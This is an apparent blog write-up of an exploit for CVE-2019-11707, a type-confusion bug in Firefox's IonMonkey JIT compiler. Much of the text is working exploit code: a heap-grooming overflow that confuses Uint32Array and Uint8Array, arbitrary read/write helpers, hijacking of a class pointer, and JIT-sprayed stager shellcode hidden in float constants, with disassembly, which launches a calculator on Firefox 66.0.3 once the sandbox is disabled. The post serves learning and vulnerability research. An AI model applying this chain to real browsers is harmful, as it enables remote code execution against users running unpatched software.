I was always very curious about vulnerabilities that kept popping up in the JIT compilers of various popular browsers. A couple of months I came across CVE-2019-11707
, which was a type-confusion bug in array_pop
, found by saelo from Google’s Project Zero Team and coinbase security and a few days ago decided to try and write an exploit for the same. This post focuses mainly on the exploitation part. By the way, this is my first time trying to exploit a JIT bug, so if anyone reading this finds any errors in the post please do correct me :) So lets dive in….
Vulnerability
The vulnerability has actually been well described by saelo on the Project Zero bug tacker. Anyway I’ll go over the essential details here.
So the main issue here was that, IonMonkey, when inlining Arrary.prototype.pop
, Arrary.prototype.push
, and Arrary.prototype.slice
was not checking for indexed elements on it’s prototype. It only checks if there are any indexed elements on the Array
prototype chain, but like saelo explains, this can easily be bypassed using an intermediate chain between the target object and the Array prototype.
So what is inlining and prototype chains? Lets briefly go over these before actually delving deeper into the bug details.
A prototype is JavaScript’s way of implementing inheritance. It basically allows us to share properties and methods between various objects (we can think of objects as corresponding to classes in other OOP languages).
One of my team-mates have written quite a thorough article on JS prototypes and I would encourage someone new to this concept to read the first 5 section of his post. An in depth post on prototypes can be found on the MDN page.
Inline caching basically means to save the result of a previous lookup so that the next time the same lookup takes place, the saved value is directly used and the cost of the lookup is saved. Thus if we are trying to call, say, Array.pop()
then the initial lookup involves the following - fetching the prototype of the array object, then searching through its properties for the pop
function and finally fetching the address of the pop function. Now if the pop
function is inlined at this point, then the address of this function is saved and the next time Array.pop
is called, all these lookups need not be re-computed.
Mathais Baynens, a v8 developer, has written a couple of really good articles on inline caching and prototype’s
Now lets take a look at the crashing sample found by saelo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// Then if will crash here when dereferencing a controlled double value as pointer.
v11.a;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
Right, so initially an array, v4
is created with all the elements as objects. SpiderMonkey’s type inference system, notices this and infers that the const array v4
will always hold objects.
Now another array p
is initialized with all objects and p[0]
is set to a float value. Now comes the interesting part. The prototype of the array v4
is changed but the type inference system does not track this. Interesting but not a bug.
So lets look at the function v7
. While there are elements in the array, they are simply popped out and their a
property is accessed.
The for
loop in the tail of the function forces IonMonkey to JIT compile this function into native assembly.
While inlining Array.pop
, IonMonkey saw that the type returned by Array.pop
is the same as the inferred types and thus did not emit any Type Barrier. It then assumes that the return type will always be an object and proceeds to remove all type checks on the popped element.
And here lies the bug. While inlining Array.pop
, IonMonkey should have checked that the prototype of the array does not have any indexed properties. Instead, it only check that the ArrayPrototype does not have any indexed properties. So this means that if we have an intermediate prototype between the array and the ArrayPrototype, then the elements on that wont be checked ! Here is the relevant snippet from js/src/jit/MCallOptimize.cpp
in the function IonBuilder::inlineArrayPopShift
1
2
3
4
5
6
7
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
Here’s how this can be bypassed
1
2
3
4
5
6
7
8
9
array -> custom_prototype -> ArrayPrototype -> ObjectPrototype -> NULL
| |
| +-> Check for indexed elements
| are made on this
|
+-> No check for indexed elements.
So we place some here!
So what is so great about placing indexed elements on the prototype of the Array? When the array is a sparse one and Array.pop
encounters an empty
element ( JS_ELEMENTS_HOLE
), it scans up the prototype chain for a prototype that has indexed elements, and an element corresponding to the desired index. For eg,
1
2
3
4
5
6
7
8
9
10
11
12
js> a=[]
[]
js> a[1]=1 // Sparse Array - element at index 0 does not exist
1
js> a
[, 1]
js> a.__proto__=[1234]
[1234]
js> a.pop()
1
js> a.pop() // Since a[0] is empty, and a.__proto__[0] exists, a.__proto__[0] is returned by Array.pop
1234
Now the problem - while JIT compiling the function v7
, all type checks were removed as the observed types were same as inferred one and the TI system does not track types on prototypes. After all original elements have been popped off the array v4
, if v7
is called again, v4[3]
is set to an object. This means that v4
is now a sparse array since v4[0]
, v4[1]
and v4[2]
are empty. So Array.pop
while trying to pop off v4[2]
and v4[1]
, returns values from the prototype. Now when it tries to do the same for v4[0]
, a float value is returned instead of an object. But Ion still thinks that the value returned by Array.pop
(float now) is an object, since there are no type checks! Ion then goes on to the next part of the PoC code and tries to fetch the property a
of the returned object. But it crashes here as the value returned is not a pointer to an object but a user controlled float.
Gaining arbitrary read-write
I spent quite some time trying to get leaks. Initially my idea was to create an array of floats and set an element on the prototype to an object. Thus Ion would assume that Array.pop
always returns a float and would treat an object pointer as a float and leak out the address of the pointer.
But this was not to be as due to some reason, there was a check in the emitted code to verify that the value returned by Array.pop
was a valid float or not. An object pointer is a tagged pointer and thus an invalid float value. I am not sure why that check was there in the code, but due to that I was unable to get leaks from this method and had to spent some time thinking of an alternative.
By the way I had also written an post on some SpiderMonkey data-structures and concepts which I will be using soon.
Confusing Uint8Array and Uint32Array
Since the float approach did not work, I was playing around with how different types of objects are accessed when JIT compiled. While looking at typed array assignment, I came across something interesting
1
2
3
4
5
6
7
8
mov edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp edx,eax
jbe 0x6c488017337
xor ebx,ebx
cmp eax,edx
cmovb ebx,eax
mov rcx,QWORD PTR [rcx+0x38] # after this rcx contains the underlying buffer
mov DWORD PTR [rcx+rbx*4],0x80
Here rcx
is the pointer to the typed array and eax
contains the index we are assigning. [rcx+0x28]
actually holds the size of the typed array. So a check is made to ensure that the index is less than the size but no check is made to verify the shape of the object (as type checks are removed). This means that, if the compiled JIT code is for a Uint32Array
and the prototype contains a Uint8Array
, there will be an overflow. This is because Ion always expects a Uint32Array
(evident from the last line of the assembly code, where it is directly doing a mov DWORD PTR
), but if the typed array is a Uint8Array
, then it’s size will be larger (because now each element is of one byte each instead of a dword).
Thus if we pass a index that is larger than than the Uint32Array
size it will pass the check and get initialized.
For example the above code is the compiled form for -
1
v11[a1] = 0x80
Where v11 = a Uint32Array
. Lets say that the size of the underlying ArrayBuffer
for this is 32 bytes. That means the size of this Uint32Array
is 32/4 = 8 elements. Now if v11 is suddenly changed to a Uint8Array
over the same underlying ArrayBuffer
, the size ([rcx+0x28]
) is 32/1 = 32 elements. But while assigning the value, the code is still using a mov DWORD PTR
instead of a mov BYTE PTR
. Thus if we give the index as 30, the check is passed as it is compared with 32 (not 8 :). Thus we write to buffer_base+(30*4) = buffer_base+120
whereas the buffer is only 32 bytes long!
Now all we have to do is convert a buffer overflow to an arbitrary read-write primitive. This overflow is in the buffer of the ArrayBuffer
. Now if the buffer is small enough (I think < 96 bytes, not sure though), then this buffer is inlined, or in other words, lies exactly after the metadata of the ArrayBuffer
class. First lets take a look at the code that can achieve this overflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
buf = []
for(var i=0;i<100;i++)
{
buf.push(new ArrayBuffer(0x20));
}
var abuf = buf[5];
var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];
function vuln(a1) {
if (arr.length == 0) {
arr[3] = e;
}
/*
If the length of the array becomes zero then we set the third element of
the array thus converting it into a sparse array without changing the
type of the array elements. Thus spidermonkey's Type Inference System does
not insert a type barrier.
*/
const v11 = arr.pop();
v11[a1] = 0x80
for (let v15 = 0; v15 < 100000; v15++) {}
}
p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;
for (let v31 = 0; v31 < 2000; v31++) {
vuln(18);
}
buf
is an array of ArrayBuffer
, each of size 0x20. In the memory, all these allocated ArrayBuffer
will lie consecutively. Here is how they will be -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
+-> group +->shape
| |
0x7f8e13a88280: 0x00007f8e13a798e0 0x00007f8e13aa1768
+-> slots +->elements (Empty in this case)
| |
0x7f8e13a88290: 0x0000000000000000 0x000055d6ee8ead80
+-> Shifted pointer
| pointing to +-> size in bytes of the data buffer
| data buffer |
0x7f8e13a882a0: 0x00003fc709d44160 0xfff8800000000020
+-> Pointer
| pointing to +-> flags
| first view |
0x7f8e13a882b0: 0xfffe7f8e15e00480 0xfff8800000000000
0x7f8e13a882c0: 0x0000000000000080 0x0000000000000000 # data buffer. Size is
0x7f8e13a882d0: 0x0000000000000000 0x0000000000000000 # 0x20 bytes
0x7f8e13a882e0: 0x00007f8e13a798e0 0x00007f8e13aa1768 # Next ArrayBuffer in the
0x7f8e13a882f0: 0x0000000000000000 0x000055d6ee8ead80 # buf array
0x7f8e13a88300: 0x00003fc709d44190 0xfff8800000000020
0x7f8e13a88310: 0xfffa000000000000 0xfff8800000000000
0x7f8e13a88320: 0x0000000000000000 0x0000000000000000 # data buffer of the second
0x7f8e13a88330: 0x0000000000000000 0x0000000000000000 # ArrayBuffer
0x7f8e13a88340: 0x00007f8e13a798e0 0x00007f8e13aa1768
0x7f8e13a88350: 0x0000000000000000 0x000055d6ee8ead80
0x7f8e13a88360: 0x00003fc709d441c0 0xfff8800000000020
0x7f8e13a88370: 0xfffa000000000000 0xfff8800000000000
0x7f8e13a88380: 0x0000000000000000 0x0000000000000000
0x7f8e13a88390: 0x0000000000000000 0x0000000000000000
Now if we have an overflow in the data buffer of the second element on the buf
array, then we can go and edit the metadata of the consecutive ArrayBuffer
. We can target the length field of the ArrayBuffer
, which is the one that actually specifies the length of the data buffer. Once we increase that, the third ArrayBuffer
in the buf
array attains an arbitrary size. Thus now the data buffer of the third ArrayBuffer
overlaps with the fourth ArrayBuffer
and this allows us to leak stuff out from the metadata of the fourth ArrayBuffer
!
In the above code, we edit the length of the ArrayBuffer
at index 6 and set it to 0x80
. Thus now we can leak data from the metadata of the 7th element and get the leaks that we want!
1
2
3
4
5
6
leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);
leak = aa.slice(0x50,0x58);
group = aa.slice(0x40,0x48);
Here, the leak
is the address of the first view of this ArrayBuffer
which is a Uint8Array
view (the leaker object). group
is the address of this ArrayBuffer
. Right, so now that we have the leaks, we need to convert this into an arbitrary read-write primitive. For that we will edit the shifted pointer to data buffer of the ArrayBuffer
at index 7 to point to an arbitrary address. Let’s keep this arbitrary address as the address of the Uint8Array
that we just leaked. Thus, the next time we create a view on that ArrayBuffer
, its data buffer will be pointing to a Uint8Array
(i.e leaker
).
Now with this we can edit the data pointer of the leaker
object and point it to anywhere we like. After that, viewing the array leaks the value at that address, and writing to the array edits the content of that address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
changer = new Uint8Array(buf[7])
function write(addr,value){
for (var i=0;i<8;i++)
changer[i]=addr[i]
value.reverse()
for (var i=0;i<8;i++)
leaker[i]=value[i]
}
function read(addr){
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker.slice(0,8)
}
Cool, so now that we have arbitrary read-write in the memory, all that we have to do is to convert this to code execution!
Gaining code execution
There are a host of ways to achieve code execution. From here, I came across an interesting way to inject and execute shellcode, and decided to try it out in this scenario.
The author of the above post explains the concept beautifully, but I just over the essentials here for the sake of completeness.
Like I mentioned in my previous post on SpiderMonkey internals, each object is associated with a group which consists of a JSClass
object. The JSClass
contains an element of ClassOps
, which holds the function pointers that control how properties are added, deleted etc. If we manage to hijack this function pointers, then code execution is a done job.
We can overwrite the class_ pointer with an address that is chosen by us. At this address we forge the entire js::Class
structure. As for the fields we can these leak out from the original Class object. Here we just need to make sure that cOps
is pointing to a table of function pointers that we had written in the memory. In this exploit I will be overwriting the addProperty
field with the pointer to the shellcode
1
2
3
4
5
6
7
8
9
10
11
grp_ptr = read(aa)
jsClass = read_n(grp_ptr,new data("0x30"));
name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)
Now lets focus on where we want to direct the control flow to….
Injecting Shellcode
We will, more or less, be using the same technique as displayed by the author in the above mentioned post. Let’s create a function to hold our shellcode…
1
2
3
4
5
6
7
8
9
10
11
12
buf[7].func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
This is a stager shellcode that will mprotect
a region of memory with read-write-execute permissions. Here is a rough breakdown of the same.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 1.4501798452584495e-277
mov rcx, qword ptr [rcx]
cmp al,al
# 1.4499730218924257e-277
push 0x1000
# 1.4632559875735264e-277
pop rsi
xor rdi,rdi
cmp al,al
# 1.4364759325952765e-277
push 0xfff
pop rdi
# 1.450128571490163e-277
not rdi
nop
nop
nop
# 1.4501798483875178e-277
and rdi, rcx
cmp al, al
# 1.4345589835166586e-277
push 7
pop rdx
push 10
pop rax
# 1.616527814e-314
push rcx
syscall
ret
So why did we assign this function as a property of buf[7]
? Well, we know the address of buf[7]
and thus we can get the address of any of its properties using our arbitrary read primitive. Thus in this way we can get the address of this function. But before proceeding further lets first JIT compile our function….
1
for (i=0;i<100000;i++) buf[7].func()
Cool, now we have compiled our own shellcode! But hold on we don’t know the address of that shellcode yet…. But that is why we assigned this function as a property of buf[7]
. Since this is the latest property added, it will be at the top in the slots
buffer and with the arbitrary read that we have, we can easily read this address.
Once we have the base address of the function, we can leak a JIT pointer from the JSFunction
’s jitInfo_
member. After this we just have to find where the shellcode starts, which is the reason that we have included a magic value at the start of the shellcode.
So now we have all that we need to achieve control flow - a target to overwrite, a target to jump to and an arbitrary rw
primitive. So lets go and overwrite that clasp_
pointer that we have had our eye on!
First we create a Uint8Array
to hold our shellcode. Then we get the address of this Uint8Array
the same way we found out the address of that function with which we compiled our shellcode. Our aim is to get the address of the buffer where our shellcode is saved. Once we get the starting address of the Uint8Array
that holds the shellcode, we just add 0x38
to this and we get the address of the buffer where our raw shell code is stored.
Remember that this region is not executable yet, but we will make it so by using our stager shellcode. In this exploit I will be using the function pointer for addProperty
to gain code execution. This pointer is triggered, as the name suggests, when we try to add a property to an object.
1
obj.trigger = some_variable
One thing I noticed is that when this is called, the rcx
register contains a pointer to the property that is to be added (some_variable
in this case). Thus we can pass some arguments to our stager shellcode in this manner. I am passing the address of the shellcode buffer to the stager shellcode. The stager shellcode will make that entire page rwx
and then jump to our shellcode.
Note that here the shellcode calls execve
to execute /usr/bin/xcalc
.
Triggering on the Browser
Obviously since I got this far, I felt like triggering this exploit on a vulnerable version of Firefox browser :)
First I grabbed an older version of FireFox (66.0.3), which is vulnerable to this CVE, from here.
Next is to disable the sandbox. For this I set the value of security.sandbox.content.level
to 0 in about:config
And that is it! Ideally it should work like this. I put the exploit file in my localhost
and when I access it, a calculator should be popped!
Now for the best part….. Popping the calculator
Conclusion
It was fun writing an exploit for this CVE and I learned a lot of things en-route.
Apparently this bug was used, in combination with a firefox sandbox escape, to exploit systems in the wild. Coinbase Security recently released a blog post on how they detected this. If we enable the sandbox, then its seccomp filter catches the execve
syscall and immediately crashes the tab.
Like I mentioned before this was my first time exploiting a JIT bug and I might not have been completely accurate/clear in some parts. If you spot an error or have some suggestions/clarifications/questions please do mention in the comments section below or ping me on twitter
I have uploaded the full exploit code on github. There are too many .reverse()
because the utility functions (like add, subtract, right shift, left shift etc) that I am using in this exploit were not compatible with little endian. I had written them while trying another challenge, and was too lazy to change it :P. I’ll probably do that after sometime, when my semester is over.
References
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
- http://smallcultfollowing.com/babysteps/blog/2012/07/30/type-inference-in-spidermonkey
- https://mathiasbynens.be/notes/shapes-ics
- https://mathiasbynens.be/notes/prototypes
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
- SpiderMoney Source Code :)